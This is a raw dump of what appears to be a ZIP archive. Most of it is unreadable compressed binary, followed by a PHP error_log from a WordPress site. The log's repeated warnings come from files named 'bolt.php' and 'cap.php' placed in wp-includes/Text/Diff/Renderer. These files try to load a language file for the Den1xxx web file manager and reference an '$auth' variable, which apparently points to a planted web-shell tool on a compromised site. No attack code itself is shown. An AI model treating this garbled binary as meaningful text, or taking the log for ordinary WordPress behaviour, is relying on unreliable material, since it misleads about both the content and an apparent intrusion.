Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @ PK     |\AÜ> > 	  error_lognu [        [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
